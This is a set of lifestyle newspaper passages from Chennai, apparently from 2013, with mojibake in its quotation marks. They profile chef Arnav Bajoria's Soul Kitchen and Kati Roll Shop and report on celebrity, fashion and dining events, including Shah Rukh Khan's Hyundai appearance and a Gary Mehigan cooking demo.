                  Another self taught chef, Arnav Bajoria spent four years in fashion design before he switched to food. a�?I always wanted to work with food,a�? says Bajoria, who trained in the kitchens of Courtyard by Marriott and Azurri Bay before setting up Soul Kitchen in 2011. His unique concept allows you to book his kitchen exclusively and Bajoria prepares the meal of your choice himself. The street food lover that he is, Bajoriaa��s next came this July, in the form of The Kati Roll Shop where he offers a�?not a snack, but a meal in the form of a roll.a�? A fan of the work of Anthony Bourdain and JoA�l Robuchon, Bajoria, 28, believes in maximising flavours with minimal ingredients. And while he does just that at Soul Kitchen (where he spends around 35 hours a week), he leaves the kati roll making to his team of experts. a�?I believe in a city that eats on its streets. We have some great street food cooks here and not all street food places are unclean or unhygienic. They just need to be promoted well,a�? he insists.

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                    cana��t believe wea��re almost at the end of another year, with people making plans for the festive season and how theya��re going to bring in 2014. There are talks of travel, exotic destinations and big bashes along the coast. Another reason to celebrate this week is Indulgea��s sixth anniversary, yet another reminder as to just how quickly time flies. The past year has seen the entry of big brands to Chennai, equally big personalities and great new places to party.

                    Ita��s been a busy week so far, with multiple launches as well as a quick visit from Shah Rukh Khan. As the brand ambassador for Hyundai, SRK was here to roll out their five millionth car. Amidst the chaos that ensued, he got to answer a few questions about his long association with the brand, his entry into politics and his portrayal of South Indians in Chennai Express. He masterfully deflected the questions and joked, a�?The only party Ia��ve been invited to is my sona��s birthday party.a�? His speech ended with his own a�?Hyundai versiona�� of the Lungi dance, which he sang for the crowd.

                    Saturday gave us our dose of fashion with sibling duo Julia and Sita Mahan launching their Midnight Collection at Evolv. The sisters wanted to design a line that was wearable, stylish and one-of-a-kind. Meanwhile, on Khader Nawaz Khan Road, Suede by Mohammed Anaikar was celebrating its first anniversary. The evening saw Chennaia��s popular faces showcasing clothes for both men and women. While the womena��s line sees lightweight fabrics and flowy designs, the mena��s collection takes a bold step forward with sequin trim, leather and suede. Keeping the festivities going and gearing up for the season ahead, was a special night of indulgence at Courtyard by Marriotta��s Wine Dinner. The guests, mostly expats, experienced the artistry of perfect wine pairings. The chefs prepared a luxurious four-course meal, paired with a unique selection of wines that kept everyone in high spirits all night long.

                    Later in the week, it was more fun, food and culinary magic at the Hyatt Regency with chef Gary Mehigan from Masterchef Australia, courtesy the Australian Trade Commission. Ia��m not ashamed to admit that Ia��m a huge fan of the show and real-life Gary exceeded all our expectations. He gave us a quick demo with succulent Mulwarra lamb on the grill, stressing the importance of a a�?zen like sizzlea��, flashing his trademark smile all the while. a�?I just want to pinch his cheeks,a�? one of the ladies exclaimed. Post the master class, we got to chat with him and find out more about his co-judges on the show, along with a list of his favourite Indian dishes.

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